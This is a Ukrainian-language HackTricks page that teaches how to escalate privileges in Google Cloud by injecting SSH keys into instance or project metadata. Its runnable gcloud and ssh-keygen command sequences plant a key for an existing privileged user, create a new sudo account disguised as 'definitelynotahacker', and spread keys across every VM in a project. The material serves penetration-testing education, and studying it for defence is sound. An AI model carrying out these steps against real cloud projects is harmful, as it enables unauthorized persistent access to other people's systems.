GCP - Add Custom SSH Metadata

GCP - Додавання користувацьких метаданих SSH

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Зміна метаданих

Зміна метаданих на екземплярі може призвести до значних ризиків безпеки, якщо зловмисник отримає необхідні дозволи.

Включення SSH-ключів у користувацькі метадані

На GCP, системи Linux часто виконують скрипти з Python Linux Guest Environment for Google Compute Engine. Критичним компонентом є демон облікових записів, який призначений для регулярної перевірки кінцевої точки метаданих екземпляра на оновлення авторизованих публічних SSH-ключів.

Отже, якщо зловмисник може змінити користувацькі метадані, він може змусити демона знайти новий публічний ключ, який буде оброблений та інтегрований у локальну систему. Ключ буде доданий до файлу ~/.ssh/authorized_keys існуючого користувача або, можливо, створення нового користувача з привілеями sudo, залежно від формату ключа. І зловмисник зможе скомпрометувати хост.

Додавання SSH-ключа до існуючого привілейованого користувача

  1. Перегляд існуючих SSH-ключів на екземплярі:

  • Виконайте команду для опису екземпляра та його метаданих для пошуку існуючих SSH-ключів. Відповідний розділ у виводі буде під metadata, зокрема ключ ssh-keys.

gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • Зверніть увагу на формат SSH-ключів: перед ключем йде ім'я користувача, розділене двокрапкою.

  1. Підготовка текстового файлу для метаданих SSH-ключа:

  • Збережіть деталі імен користувачів та відповідних SSH-ключів у текстовий файл з назвою meta.txt. Це важливо для збереження існуючих ключів при додаванні нових.

  1. Створення нового SSH-ключа для цільового користувача (alice у цьому прикладі):

  • Використовуйте команду ssh-keygen для генерації нового SSH-ключа, переконавшись, що поле коментаря (-C) відповідає імені цільового користувача.

ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • Додайте новий публічний ключ до meta.txt, наслідуючи формат, знайдений у метаданих екземпляра.

  1. Оновлення метаданих SSH-ключа екземпляра:

  • Застосуйте оновлені метадані SSH-ключа до екземпляра за допомогою команди gcloud compute instances add-metadata.

gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. Доступ до екземпляра за допомогою нового SSH-ключа:

  • Підключіться до екземпляра за допомогою SSH за допомогою нового ключа, отримуючи доступ до оболонки в контексті цільового користувача (alice у цьому прикладі).

ssh -i ./key alice@localhost
sudo id

Створення нового привілейованого користувача та додавання SSH-ключа

Якщо не знайдено цікавого користувача, можливо створити нового, якому будуть надані привілеї sudo:

# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

SSH ключі на рівні проекту

Можливо розширити доступ до SSH до кількох віртуальних машин (VMs) в хмарному середовищі, застосовуючи SSH ключі на рівні проекту. Цей підхід дозволяє доступ до SSH до будь-якого екземпляра всередині проекту, який не явно заблокував проектні SSH ключі. Ось короткий посібник:

  1. Застосування SSH ключів на рівні проекту:

  • Використовуйте команду gcloud compute project-info add-metadata, щоб додати SSH ключі з meta.txt до метаданих проекту. Ця дія гарантує, що SSH ключі визнаються на всіх VMs у проекті, якщо VM не має включеної опції "Блокувати проектні SSH ключі".

gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. SSH в екземпляри, використовуючи проектні ключі:

  • З проектними SSH ключами встановленими, ви можете SSH в будь-який екземпляр всередині проекту. Екземпляри, які не блокують проектні ключі, приймуть SSH ключ, надаючи доступ.

  • Прямий метод SSH в екземпляр полягає в використанні команди gcloud compute ssh [INSTANCE]. Ця команда використовує ваше поточне ім'я користувача та SSH ключі, встановлені на рівні проекту, для спроби доступу.

References

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated